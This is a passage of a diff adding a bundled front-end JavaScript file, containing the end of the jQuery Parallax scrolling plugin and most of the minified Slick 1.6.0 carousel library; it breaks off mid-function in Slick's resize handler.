+Plugin URL: http://www.ianlunn.co.uk/plugins/jquery-parallax/
+
+Dual licensed under the MIT and GPL licenses:
+http://www.opensource.org/licenses/mit-license.php
+http://www.gnu.org/licenses/gpl.html
+*/
+
+(function( jQuery ){
+	var jQuerywindow = jQuery(window);
+	var windowHeight = jQuerywindow.height();
+
+	jQuerywindow.resize(function () {
+		windowHeight = jQuerywindow.height();
+	});
+
+	jQuery.fn.parallax = function(xpos, speedFactor, outerHeight) {
+		var jQuerythis = jQuery(this);
+		var getHeight;
+		var firstTop;
+		var paddingTop = 0;
+		
+		//get the starting position of each element to have parallax applied to it		
+		jQuerythis.each(function(){
+		    firstTop = jQuerythis.offset().top;
+		});
+
+		if (outerHeight) {
+			getHeight = function(jqo) {
+				return jqo.outerHeight(true);
+			};
+		} else {
+			getHeight = function(jqo) {
+				return jqo.height();
+			};
+		}
+			
+		// setup defaults if arguments aren't specified
+		if (arguments.length < 1 || xpos === null) xpos = "50%";
+		if (arguments.length < 2 || speedFactor === null) speedFactor = 0.1;
+		if (arguments.length < 3 || outerHeight === null) outerHeight = true;
+		
+		// function to be called whenever the window is scrolled or resized
+		function update(){
+			var pos = jQuerywindow.scrollTop();				
+
+			jQuerythis.each(function(){
+				var jQueryelement = jQuery(this);
+				var top = jQueryelement.offset().top;
+				var height = getHeight(jQueryelement);
+
+				// Check if totally above or totally below viewport
+				if (top + height < pos || top > pos + windowHeight) {
+					return;
+				}
+
+				jQuerythis.css('backgroundPosition', xpos + " " + Math.round((firstTop - pos) * speedFactor) + "px");
+			});
+		}		
+
+		jQuerywindow.bind('scroll', update).resize(update);
+		update();
+	};
+})(jQuery);
+
+
+/* Slick 1.6.0
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/*   _ _      _       _
+ ___| (_) ___| | __  (_)___
+/ __| | |/ __| |/ /  | / __|
+\__ \ | | (__|   < _ | \__ \
+|___/_|_|\___|_|\_(_)/ |___/
+                   |__/
+ Version: 1.6.0
+ */
+/* global window, document, define, jQuery, setInterval, clearInterval */
+!function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery"],i):"undefined"!=typeof exports?module.exports=i(require("jquery")):i(jQuery)}(function(i){"use strict";var e=window.Slick||{};e=function(){function e(e,o){var s,n=this;n.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:i(e),appendDots:i(e),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="Previous" tabindex="0" role="button">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="Next" tabindex="0" role="button">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerMode:!1,centerPadding:"50px",cssEase:"ease",customPaging:function(e,t){return i('<button type="button" data-role="none" role="button" tabindex="0" />').text(t+1)},dots:!1,dotsClass:"slick-dots",draggable:!0,easing:"linear",edgeFriction:.35,fade:!1,focusOnSelect:!1,infinite:!0,initialSlide:0,lazyLoad:"ondemand",mobileFirst:!1,pauseOnHover:!0,pauseOnFocus:!0,pauseOnDotsHover:!1,respondTo:"window",responsive:null,rows:1,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,useTransform:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0,zIndex:1e3},n.initials={animating:!1,dragging:!1,autoPlayTimer:null,currentDirection:0,currentLeft:null,currentSlide:0,direction:1,$dots:null,listWidth:null,listHeight:null,loadIndex:0,$nextArrow:null,$prevArrow:null,slideCount:null,slideWidth:null,$slideTrack:null,$slides:null,sliding:!1,slideOffset:0,swipeLeft:null,$list:null,touchObject:{},transformsEnabled:!1,unslicked:!1},i.extend(n,n.initials),n.activeBreakpoint=null,n.animType=null,n.animProp=null,n.breakpoints=[],n.breakpointSettings=[],n.cssTransitions=!1,n.focussed=!1,n.interrupted=!1,n.hidden="hidden",n.paused=!0,n.positionProp=null,n.respondTo=null,n.rowCount=1,n.shouldClick=!0,n.$slider=i(e),n.$slidesCache=null,n.transformType=null,n.transitionType=null,n.visibilityChange="visibilitychange",n.windowWidth=0,n.windowTimer=null,s=i(e).data("slick")||{},n.options=i.extend({},n.defaults,o,s),n.currentSlide=n.options.initialSlide,n.originalSettings=n.options,"undefined"!=typeof document.mozHidden?(n.hidden="mozHidden",n.visibilityChange="mozvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(n.hidden="webkitHidden",n.visibilityChange="webkitvisibilitychange"),n.autoPlay=i.proxy(n.autoPlay,n),n.autoPlayClear=i.proxy(n.autoPlayClear,n),n.autoPlayIterator=i.proxy(n.autoPlayIterator,n),n.changeSlide=i.proxy(n.changeSlide,n),n.clickHandler=i.proxy(n.clickHandler,n),n.selectHandler=i.proxy(n.selectHandler,n),n.setPosition=i.proxy(n.setPosition,n),n.swipeHandler=i.proxy(n.swipeHandler,n),n.dragHandler=i.proxy(n.dragHandler,n),n.keyHandler=i.proxy(n.keyHandler,n),n.instanceUid=t++,n.htmlExpr=/^(?:\s*(<[\w\W]+>)[^>]*)$/,n.registerBreakpoints(),n.init(!0)}var t=0;return e}(),e.prototype.activateADA=function(){var i=this;i.$slideTrack.find(".slick-active").attr({"aria-hidden":"false"}).find("a, input, button, select").attr({tabindex:"0"})},e.prototype.addSlide=e.prototype.slickAdd=function(e,t,o){var s=this;if("boolean"==typeof t)o=t,t=null;else if(0>t||t>=s.slideCount)return!1;s.unload(),"number"==typeof t?0===t&&0===s.$slides.length?i(e).appendTo(s.$slideTrack):o?i(e).insertBefore(s.$slides.eq(t)):i(e).insertAfter(s.$slides.eq(t)):o===!0?i(e).prependTo(s.$slideTrack):i(e).appendTo(s.$slideTrack),s.$slides=s.$slideTrack.children(this.options.slide),s.$slideTrack.children(this.options.slide).detach(),s.$slideTrack.append(s.$slides),s.$slides.each(function(e,t){i(t).attr("data-slick-index",e)}),s.$slidesCache=s.$slides,s.reinit()},e.prototype.animateHeight=function(){var i=this;if(1===i.options.slidesToShow&&i.options.adaptiveHeight===!0&&i.options.vertical===!1){var e=i.$slides.eq(i.currentSlide).outerHeight(!0);i.$list.animate({height:e},i.options.speed)}},e.prototype.animateSlide=function(e,t){var o={},s=this;s.animateHeight(),s.options.rtl===!0&&s.options.vertical===!1&&(e=-e),s.transformsEnabled===!1?s.options.vertical===!1?s.$slideTrack.animate({left:e},s.options.speed,s.options.easing,t):s.$slideTrack.animate({top:e},s.options.speed,s.options.easing,t):s.cssTransitions===!1?(s.options.rtl===!0&&(s.currentLeft=-s.currentLeft),i({animStart:s.currentLeft}).animate({animStart:e},{duration:s.options.speed,easing:s.options.easing,step:function(i){i=Math.ceil(i),s.options.vertical===!1?(o[s.animType]="translate("+i+"px, 0px)",s.$slideTrack.css(o)):(o[s.animType]="translate(0px,"+i+"px)",s.$slideTrack.css(o))},complete:function(){t&&t.call()}})):(s.applyTransition(),e=Math.ceil(e),s.options.vertical===!1?o[s.animType]="translate3d("+e+"px, 0px, 0px)":o[s.animType]="translate3d(0px,"+e+"px, 0px)",s.$slideTrack.css(o),t&&setTimeout(function(){s.disableTransition(),t.call()},s.options.speed))},e.prototype.getNavTarget=function(){var e=this,t=e.options.asNavFor;return t&&null!==t&&(t=i(t).not(e.$slider)),t},e.prototype.asNavFor=function(e){var t=this,o=t.getNavTarget();null!==o&&"object"==typeof o&&o.each(function(){var t=i(this).slick("getSlick");t.unslicked||t.slideHandler(e,!0)})},e.prototype.applyTransition=function(i){var e=this,t={};e.options.fade===!1?t[e.transitionType]=e.transformType+" "+e.options.speed+"ms "+e.options.cssEase:t[e.transitionType]="opacity "+e.options.speed+"ms "+e.options.cssEase,e.options.fade===!1?e.$slideTrack.css(t):e.$slides.eq(i).css(t)},e.prototype.autoPlay=function(){var i=this;i.autoPlayClear(),i.slideCount>i.options.slidesToShow&&(i.autoPlayTimer=setInterval(i.autoPlayIterator,i.options.autoplaySpeed))},e.prototype.autoPlayClear=function(){var i=this;i.autoPlayTimer&&clearInterval(i.autoPlayTimer)},e.prototype.autoPlayIterator=function(){var i=this,e=i.currentSlide+i.options.slidesToScroll;i.paused||i.interrupted||i.focussed||(i.options.infinite===!1&&(1===i.direction&&i.currentSlide+1===i.slideCount-1?i.direction=0:0===i.direction&&(e=i.currentSlide-i.options.slidesToScroll,i.currentSlide-1===0&&(i.direction=1))),i.slideHandler(e))},e.prototype.buildArrows=function(){var e=this;e.options.arrows===!0&&(e.$prevArrow=i(e.options.prevArrow).addClass("slick-arrow"),e.$nextArrow=i(e.options.nextArrow).addClass("slick-arrow"),e.slideCount>e.options.slidesToShow?(e.$prevArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),e.$nextArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),e.htmlExpr.test(e.options.prevArrow)&&e.$prevArrow.prependTo(e.options.appendArrows),e.htmlExpr.test(e.options.nextArrow)&&e.$nextArrow.appendTo(e.options.appendArrows),e.options.infinite!==!0&&e.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true")):e.$prevArrow.add(e.$nextArrow).addClass("slick-hidden").attr({"aria-disabled":"true",tabindex:"-1"}))},e.prototype.buildDots=function(){var e,t,o=this;if(o.options.dots===!0&&o.slideCount>o.options.slidesToShow){for(o.$slider.addClass("slick-dotted"),t=i("<ul />").addClass(o.options.dotsClass),e=0;e<=o.getDotCount();e+=1)t.append(i("<li />").append(o.options.customPaging.call(this,o,e)));o.$dots=t.appendTo(o.options.appendDots),o.$dots.find("li").first().addClass("slick-active").attr("aria-hidden","false")}},e.prototype.buildOut=function(){var e=this;e.$slides=e.$slider.children(e.options.slide+":not(.slick-cloned)").addClass("slick-slide"),e.slideCount=e.$slides.length,e.$slides.each(function(e,t){i(t).attr("data-slick-index",e).data("originalStyling",i(t).attr("style")||"")}),e.$slider.addClass("slick-slider"),e.$slideTrack=0===e.slideCount?i('<div class="slick-track"/>').appendTo(e.$slider):e.$slides.wrapAll('<div class="slick-track"/>').parent(),e.$list=e.$slideTrack.wrap('<div aria-live="polite" class="slick-list"/>').parent(),e.$slideTrack.css("opacity",0),(e.options.centerMode===!0||e.options.swipeToSlide===!0)&&(e.options.slidesToScroll=1),i("img[data-lazy]",e.$slider).not("[src]").addClass("slick-loading"),e.setupInfinite(),e.buildArrows(),e.buildDots(),e.updateDots(),e.setSlideClasses("number"==typeof e.currentSlide?e.currentSlide:0),e.options.draggable===!0&&e.$list.addClass("draggable")},e.prototype.buildRows=function(){var i,e,t,o,s,n,r,l=this;if(o=document.createDocumentFragment(),n=l.$slider.children(),l.options.rows>1){for(r=l.options.slidesPerRow*l.options.rows,s=Math.ceil(n.length/r),i=0;s>i;i++){var a=document.createElement("div");for(e=0;e<l.options.rows;e++){var d=document.createElement("div");for(t=0;t<l.options.slidesPerRow;t++){var c=i*r+(e*l.options.slidesPerRow+t);n.get(c)&&d.appendChild(n.get(c))}a.appendChild(d)}o.appendChild(a)}l.$slider.empty().append(o),l.$slider.children().children().children().css({width:100/l.options.slidesPerRow+"%",display:"inline-block"})}},e.prototype.checkResponsive=function(e,t){var o,s,n,r=this,l=!1,a=r.$slider.width(),d=window.innerWidth||i(window).width();if("window"===r.respondTo?n=d:"slider"===r.respondTo?n=a:"min"===r.respondTo&&(n=Math.min(d,a)),r.options.responsive&&r.options.responsive.length&&null!==r.options.responsive){s=null;for(o in r.breakpoints)r.breakpoints.hasOwnProperty(o)&&(r.originalSettings.mobileFirst===!1?n<r.breakpoints[o]&&(s=r.breakpoints[o]):n>r.breakpoints[o]&&(s=r.breakpoints[o]));null!==s?null!==r.activeBreakpoint?(s!==r.activeBreakpoint||t)&&(r.activeBreakpoint=s,"unslick"===r.breakpointSettings[s]?r.unslick(s):(r.options=i.extend({},r.originalSettings,r.breakpointSettings[s]),e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e)),l=s):(r.activeBreakpoint=s,"unslick"===r.breakpointSettings[s]?r.unslick(s):(r.options=i.extend({},r.originalSettings,r.breakpointSettings[s]),e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e)),l=s):null!==r.activeBreakpoint&&(r.activeBreakpoint=null,r.options=r.originalSettings,e===!0&&(r.currentSlide=r.options.initialSlide),r.refresh(e),l=s),e||l===!1||r.$slider.trigger("breakpoint",[r,l])}},e.prototype.changeSlide=function(e,t){var o,s,n,r=this,l=i(e.currentTarget);switch(l.is("a")&&e.preventDefault(),l.is("li")||(l=l.closest("li")),n=r.slideCount%r.options.slidesToScroll!==0,o=n?0:(r.slideCount-r.currentSlide)%r.options.slidesToScroll,e.data.message){case"previous":s=0===o?r.options.slidesToScroll:r.options.slidesToShow-o,r.slideCount>r.options.slidesToShow&&r.slideHandler(r.currentSlide-s,!1,t);break;case"next":s=0===o?r.options.slidesToScroll:o,r.slideCount>r.options.slidesToShow&&r.slideHandler(r.currentSlide+s,!1,t);break;case"index":var a=0===e.data.index?0:e.data.index||l.index()*r.options.slidesToScroll;r.slideHandler(r.checkNavigable(a),!1,t),l.children().trigger("focus");break;default:return}},e.prototype.checkNavigable=function(i){var e,t,o=this;if(e=o.getNavigableIndexes(),t=0,i>e[e.length-1])i=e[e.length-1];else for(var s in e){if(i<e[s]){i=t;break}t=e[s]}return i},e.prototype.cleanUpEvents=function(){var e=this;e.options.dots&&null!==e.$dots&&i("li",e.$dots).off("click.slick",e.changeSlide).off("mouseenter.slick",i.proxy(e.interrupt,e,!0)).off("mouseleave.slick",i.proxy(e.interrupt,e,!1)),e.$slider.off("focus.slick blur.slick"),e.options.arrows===!0&&e.slideCount>e.options.slidesToShow&&(e.$prevArrow&&e.$prevArrow.off("click.slick",e.changeSlide),e.$nextArrow&&e.$nextArrow.off("click.slick",e.changeSlide)),e.$list.off("touchstart.slick mousedown.slick",e.swipeHandler),e.$list.off("touchmove.slick mousemove.slick",e.swipeHandler),e.$list.off("touchend.slick mouseup.slick",e.swipeHandler),e.$list.off("touchcancel.slick mouseleave.slick",e.swipeHandler),e.$list.off("click.slick",e.clickHandler),i(document).off(e.visibilityChange,e.visibility),e.cleanUpSlideEvents(),e.options.accessibility===!0&&e.$list.off("keydown.slick",e.keyHandler),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().off("click.slick",e.selectHandler),i(window).off("orientationchange.slick.slick-"+e.instanceUid,e.orientationChange),i(window).off("resize.slick.slick-"+e.instanceUid,e.resize),i("[draggable!=true]",e.$slideTrack).off("dragstart",e.preventDefault),i(window).off("load.slick.slick-"+e.instanceUid,e.setPosition),i(document).off("ready.slick.slick-"+e.instanceUid,e.setPosition)},e.prototype.cleanUpSlideEvents=function(){var e=this;e.$list.off("mouseenter.slick",i.proxy(e.interrupt,e,!0)),e.$list.off("mouseleave.slick",i.proxy(e.interrupt,e,!1))},e.prototype.cleanUpRows=function(){var i,e=this;e.options.rows>1&&(i=e.$slides.children().children(),i.removeAttr("style"),e.$slider.empty().append(i))},e.prototype.clickHandler=function(i){var e=this;e.shouldClick===!1&&(i.stopImmediatePropagation(),i.stopPropagation(),i.preventDefault())},e.prototype.destroy=function(e){var t=this;t.autoPlayClear(),t.touchObject={},t.cleanUpEvents(),i(".slick-cloned",t.$slider).detach(),t.$dots&&t.$dots.remove(),t.$prevArrow&&t.$prevArrow.length&&(t.$prevArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),t.htmlExpr.test(t.options.prevArrow)&&t.$prevArrow.remove()),t.$nextArrow&&t.$nextArrow.length&&(t.$nextArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),t.htmlExpr.test(t.options.nextArrow)&&t.$nextArrow.remove()),t.$slides&&(t.$slides.removeClass("slick-slide slick-active slick-center slick-visible slick-current").removeAttr("aria-hidden").removeAttr("data-slick-index").each(function(){i(this).attr("style",i(this).data("originalStyling"))}),t.$slideTrack.children(this.options.slide).detach(),t.$slideTrack.detach(),t.$list.detach(),t.$slider.append(t.$slides)),t.cleanUpRows(),t.$slider.removeClass("slick-slider"),t.$slider.removeClass("slick-initialized"),t.$slider.removeClass("slick-dotted"),t.unslicked=!0,e||t.$slider.trigger("destroy",[t])},e.prototype.disableTransition=function(i){var e=this,t={};t[e.transitionType]="",e.options.fade===!1?e.$slideTrack.css(t):e.$slides.eq(i).css(t)},e.prototype.fadeSlide=function(i,e){var t=this;t.cssTransitions===!1?(t.$slides.eq(i).css({zIndex:t.options.zIndex}),t.$slides.eq(i).animate({opacity:1},t.options.speed,t.options.easing,e)):(t.applyTransition(i),t.$slides.eq(i).css({opacity:1,zIndex:t.options.zIndex}),e&&setTimeout(function(){t.disableTransition(i),e.call()},t.options.speed))},e.prototype.fadeSlideOut=function(i){var e=this;e.cssTransitions===!1?e.$slides.eq(i).animate({opacity:0,zIndex:e.options.zIndex-2},e.options.speed,e.options.easing):(e.applyTransition(i),e.$slides.eq(i).css({opacity:0,zIndex:e.options.zIndex-2}))},e.prototype.filterSlides=e.prototype.slickFilter=function(i){var e=this;null!==i&&(e.$slidesCache=e.$slides,e.unload(),e.$slideTrack.children(this.options.slide).detach(),e.$slidesCache.filter(i).appendTo(e.$slideTrack),e.reinit())},e.prototype.focusHandler=function(){var e=this;e.$slider.off("focus.slick blur.slick").on("focus.slick blur.slick","*:not(.slick-arrow)",function(t){t.stopImmediatePropagation();var o=i(this);setTimeout(function(){e.options.pauseOnFocus&&(e.focussed=o.is(":focus"),e.autoPlay())},0)})},e.prototype.getCurrent=e.prototype.slickCurrentSlide=function(){var i=this;return i.currentSlide},e.prototype.getDotCount=function(){var i=this,e=0,t=0,o=0;if(i.options.infinite===!0)for(;e<i.slideCount;)++o,e=t+i.options.slidesToScroll,t+=i.options.slidesToScroll<=i.options.slidesToShow?i.options.slidesToScroll:i.options.slidesToShow;else if(i.options.centerMode===!0)o=i.slideCount;else if(i.options.asNavFor)for(;e<i.slideCount;)++o,e=t+i.options.slidesToScroll,t+=i.options.slidesToScroll<=i.options.slidesToShow?i.options.slidesToScroll:i.options.slidesToShow;else o=1+Math.ceil((i.slideCount-i.options.slidesToShow)/i.options.slidesToScroll);return o-1},e.prototype.getLeft=function(i){var e,t,o,s=this,n=0;return s.slideOffset=0,t=s.$slides.first().outerHeight(!0),s.options.infinite===!0?(s.slideCount>s.options.slidesToShow&&(s.slideOffset=s.slideWidth*s.options.slidesToShow*-1,n=t*s.options.slidesToShow*-1),s.slideCount%s.options.slidesToScroll!==0&&i+s.options.slidesToScroll>s.slideCount&&s.slideCount>s.options.slidesToShow&&(i>s.slideCount?(s.slideOffset=(s.options.slidesToShow-(i-s.slideCount))*s.slideWidth*-1,n=(s.options.slidesToShow-(i-s.slideCount))*t*-1):(s.slideOffset=s.slideCount%s.options.slidesToScroll*s.slideWidth*-1,n=s.slideCount%s.options.slidesToScroll*t*-1))):i+s.options.slidesToShow>s.slideCount&&(s.slideOffset=(i+s.options.slidesToShow-s.slideCount)*s.slideWidth,n=(i+s.options.slidesToShow-s.slideCount)*t),s.slideCount<=s.options.slidesToShow&&(s.slideOffset=0,n=0),s.options.centerMode===!0&&s.options.infinite===!0?s.slideOffset+=s.slideWidth*Math.floor(s.options.slidesToShow/2)-s.slideWidth:s.options.centerMode===!0&&(s.slideOffset=0,s.slideOffset+=s.slideWidth*Math.floor(s.options.slidesToShow/2)),e=s.options.vertical===!1?i*s.slideWidth*-1+s.slideOffset:i*t*-1+n,s.options.variableWidth===!0&&(o=s.slideCount<=s.options.slidesToShow||s.options.infinite===!1?s.$slideTrack.children(".slick-slide").eq(i):s.$slideTrack.children(".slick-slide").eq(i+s.options.slidesToShow),e=s.options.rtl===!0?o[0]?-1*(s.$slideTrack.width()-o[0].offsetLeft-o.width()):0:o[0]?-1*o[0].offsetLeft:0,s.options.centerMode===!0&&(o=s.slideCount<=s.options.slidesToShow||s.options.infinite===!1?s.$slideTrack.children(".slick-slide").eq(i):s.$slideTrack.children(".slick-slide").eq(i+s.options.slidesToShow+1),e=s.options.rtl===!0?o[0]?-1*(s.$slideTrack.width()-o[0].offsetLeft-o.width()):0:o[0]?-1*o[0].offsetLeft:0,e+=(s.$list.width()-o.outerWidth())/2)),e},e.prototype.getOption=e.prototype.slickGetOption=function(i){var e=this;return e.options[i]},e.prototype.getNavigableIndexes=function(){var i,e=this,t=0,o=0,s=[];for(e.options.infinite===!1?i=e.slideCount:(t=-1*e.options.slidesToScroll,o=-1*e.options.slidesToScroll,i=2*e.slideCount);i>t;)s.push(t),t=o+e.options.slidesToScroll,o+=e.options.slidesToScroll<=e.options.slidesToShow?e.options.slidesToScroll:e.options.slidesToShow;return s},e.prototype.getSlick=function(){return this},e.prototype.getSlideCount=function(){var e,t,o,s=this;return o=s.options.centerMode===!0?s.slideWidth*Math.floor(s.options.slidesToShow/2):0,s.options.swipeToSlide===!0?(s.$slideTrack.find(".slick-slide").each(function(e,n){return n.offsetLeft-o+i(n).outerWidth()/2>-1*s.swipeLeft?(t=n,!1):void 0}),e=Math.abs(i(t).attr("data-slick-index")-s.currentSlide)||1):s.options.slidesToScroll},e.prototype.goTo=e.prototype.slickGoTo=function(i,e){var t=this;t.changeSlide({data:{message:"index",index:parseInt(i)}},e)},e.prototype.init=function(e){var t=this;i(t.$slider).hasClass("slick-initialized")||(i(t.$slider).addClass("slick-initialized"),t.buildRows(),t.buildOut(),t.setProps(),t.startLoad(),t.loadSlider(),t.initializeEvents(),t.updateArrows(),t.updateDots(),t.checkResponsive(!0),t.focusHandler()),e&&t.$slider.trigger("init",[t]),t.options.accessibility===!0&&t.initADA(),t.options.autoplay&&(t.paused=!1,t.autoPlay())},e.prototype.initADA=function(){var e=this;e.$slides.add(e.$slideTrack.find(".slick-cloned")).attr({"aria-hidden":"true",tabindex:"-1"}).find("a, input, button, select").attr({tabindex:"-1"}),e.$slideTrack.attr("role","listbox"),e.$slides.not(e.$slideTrack.find(".slick-cloned")).each(function(t){i(this).attr({role:"option","aria-describedby":"slick-slide"+e.instanceUid+t})}),null!==e.$dots&&e.$dots.attr("role","tablist").find("li").each(function(t){i(this).attr({role:"presentation","aria-selected":"false","aria-controls":"navigation"+e.instanceUid+t,id:"slick-slide"+e.instanceUid+t})}).first().attr("aria-selected","true").end().find("button").attr("role","button").end().closest("div").attr("role","toolbar"),e.activateADA()},e.prototype.initArrowEvents=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.off("click.slick").on("click.slick",{message:"previous"},i.changeSlide),i.$nextArrow.off("click.slick").on("click.slick",{message:"next"},i.changeSlide))},e.prototype.initDotEvents=function(){var e=this;e.options.dots===!0&&e.slideCount>e.options.slidesToShow&&i("li",e.$dots).on("click.slick",{message:"index"},e.changeSlide),e.options.dots===!0&&e.options.pauseOnDotsHover===!0&&i("li",e.$dots).on("mouseenter.slick",i.proxy(e.interrupt,e,!0)).on("mouseleave.slick",i.proxy(e.interrupt,e,!1))},e.prototype.initSlideEvents=function(){var e=this;e.options.pauseOnHover&&(e.$list.on("mouseenter.slick",i.proxy(e.interrupt,e,!0)),e.$list.on("mouseleave.slick",i.proxy(e.interrupt,e,!1)))},e.prototype.initializeEvents=function(){var e=this;e.initArrowEvents(),e.initDotEvents(),e.initSlideEvents(),e.$list.on("touchstart.slick mousedown.slick",{action:"start"},e.swipeHandler),e.$list.on("touchmove.slick mousemove.slick",{action:"move"},e.swipeHandler),e.$list.on("touchend.slick mouseup.slick",{action:"end"},e.swipeHandler),e.$list.on("touchcancel.slick mouseleave.slick",{action:"end"},e.swipeHandler),e.$list.on("click.slick",e.clickHandler),i(document).on(e.visibilityChange,i.proxy(e.visibility,e)),e.options.accessibility===!0&&e.$list.on("keydown.slick",e.keyHandler),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().on("click.slick",e.selectHandler),i(window).on("orientationchange.slick.slick-"+e.instanceUid,i.proxy(e.orientationChange,e)),i(window).on("resize.slick.slick-"+e.instanceUid,i.proxy(e.resize,e)),i("[draggable!=true]",e.$slideTrack).on("dragstart",e.preventDefault),i(window).on("load.slick.slick-"+e.instanceUid,e.setPosition),i(document).on("ready.slick.slick-"+e.instanceUid,e.setPosition)},e.prototype.initUI=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.show(),i.$nextArrow.show()),i.options.dots===!0&&i.slideCount>i.options.slidesToShow&&i.$dots.show()},e.prototype.keyHandler=function(i){var e=this;i.target.tagName.match("TEXTAREA|INPUT|SELECT")||(37===i.keyCode&&e.options.accessibility===!0?e.changeSlide({data:{message:e.options.rtl===!0?"next":"previous"}}):39===i.keyCode&&e.options.accessibility===!0&&e.changeSlide({data:{message:e.options.rtl===!0?"previous":"next"}}))},e.prototype.lazyLoad=function(){function e(e){i("img[data-lazy]",e).each(function(){var e=i(this),t=i(this).attr("data-lazy"),o=document.createElement("img");o.onload=function(){e.animate({opacity:0},100,function(){e.attr("src",t).animate({opacity:1},200,function(){e.removeAttr("data-lazy").removeClass("slick-loading")}),r.$slider.trigger("lazyLoaded",[r,e,t])})},o.onerror=function(){e.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),r.$slider.trigger("lazyLoadError",[r,e,t])},o.src=t})}var t,o,s,n,r=this;r.options.centerMode===!0?r.options.infinite===!0?(s=r.currentSlide+(r.options.slidesToShow/2+1),n=s+r.options.slidesToShow+2):(s=Math.max(0,r.currentSlide-(r.options.slidesToShow/2+1)),n=2+(r.options.slidesToShow/2+1)+r.currentSlide):(s=r.options.infinite?r.options.slidesToShow+r.currentSlide:r.currentSlide,n=Math.ceil(s+r.options.slidesToShow),r.options.fade===!0&&(s>0&&s--,n<=r.slideCount&&n++)),t=r.$slider.find(".slick-slide").slice(s,n),e(t),r.slideCount<=r.options.slidesToShow?(o=r.$slider.find(".slick-slide"),e(o)):r.currentSlide>=r.slideCount-r.options.slidesToShow?(o=r.$slider.find(".slick-cloned").slice(0,r.options.slidesToShow),e(o)):0===r.currentSlide&&(o=r.$slider.find(".slick-cloned").slice(-1*r.options.slidesToShow),e(o))},e.prototype.loadSlider=function(){var i=this;i.setPosition(),i.$slideTrack.css({opacity:1}),i.$slider.removeClass("slick-loading"),i.initUI(),"progressive"===i.options.lazyLoad&&i.progressiveLazyLoad()},e.prototype.next=e.prototype.slickNext=function(){var i=this;i.changeSlide({data:{message:"next"}})},e.prototype.orientationChange=function(){var i=this;i.checkResponsive(),i.setPosition()},e.prototype.pause=e.prototype.slickPause=function(){var i=this;i.autoPlayClear(),i.paused=!0},e.prototype.play=e.prototype.slickPlay=function(){var i=this;i.autoPlay(),i.options.autoplay=!0,i.paused=!1,i.focussed=!1,i.interrupted=!1},e.prototype.postSlide=function(i){var e=this;e.unslicked||(e.$slider.trigger("afterChange",[e,i]),e.animating=!1,e.setPosition(),e.swipeLeft=null,e.options.autoplay&&e.autoPlay(),e.options.accessibility===!0&&e.initADA())},e.prototype.prev=e.prototype.slickPrev=function(){var i=this;i.changeSlide({data:{message:"previous"}})},e.prototype.preventDefault=function(i){i.preventDefault()},e.prototype.progressiveLazyLoad=function(e){e=e||1;var t,o,s,n=this,r=i("img[data-lazy]",n.$slider);r.length?(t=r.first(),o=t.attr("data-lazy"),s=document.createElement("img"),s.onload=function(){t.attr("src",o).removeAttr("data-lazy").removeClass("slick-loading"),n.options.adaptiveHeight===!0&&n.setPosition(),n.$slider.trigger("lazyLoaded",[n,t,o]),n.progressiveLazyLoad()},s.onerror=function(){3>e?setTimeout(function(){n.progressiveLazyLoad(e+1)},500):(t.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),n.$slider.trigger("lazyLoadError",[n,t,o]),n.progressiveLazyLoad())},s.src=o):n.$slider.trigger("allImagesLoaded",[n])},e.prototype.refresh=function(e){var t,o,s=this;o=s.slideCount-s.options.slidesToShow,!s.options.infinite&&s.currentSlide>o&&(s.currentSlide=o),s.slideCount<=s.options.slidesToShow&&(s.currentSlide=0),t=s.currentSlide,s.destroy(!0),i.extend(s,s.initials,{currentSlide:t}),s.init(),e||s.changeSlide({data:{message:"index",index:t}},!1)},e.prototype.registerBreakpoints=function(){var e,t,o,s=this,n=s.options.responsive||null;if("array"===i.type(n)&&n.length){s.respondTo=s.options.respondTo||"window";for(e in n)if(o=s.breakpoints.length-1,t=n[e].breakpoint,n.hasOwnProperty(e)){for(;o>=0;)s.breakpoints[o]&&s.breakpoints[o]===t&&s.breakpoints.splice(o,1),o--;s.breakpoints.push(t),s.breakpointSettings[t]=n[e].settings}s.breakpoints.sort(function(i,e){return s.options.mobileFirst?i-e:e-i})}},e.prototype.reinit=function(){var e=this;e.$slides=e.$slideTrack.children(e.options.slide).addClass("slick-slide"),e.slideCount=e.$slides.length,e.currentSlide>=e.slideCount&&0!==e.currentSlide&&(e.currentSlide=e.currentSlide-e.options.slidesToScroll),e.slideCount<=e.options.slidesToShow&&(e.currentSlide=0),e.registerBreakpoints(),e.setProps(),e.setupInfinite(),e.buildArrows(),e.updateArrows(),e.initArrowEvents(),e.buildDots(),e.updateDots(),e.initDotEvents(),e.cleanUpSlideEvents(),e.initSlideEvents(),e.checkResponsive(!1,!0),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().on("click.slick",e.selectHandler),e.setSlideClasses("number"==typeof e.currentSlide?e.currentSlide:0),e.setPosition(),e.focusHandler(),e.paused=!e.options.autoplay,e.autoPlay(),e.$slider.trigger("reInit",[e])},e.prototype.resize=function(){var 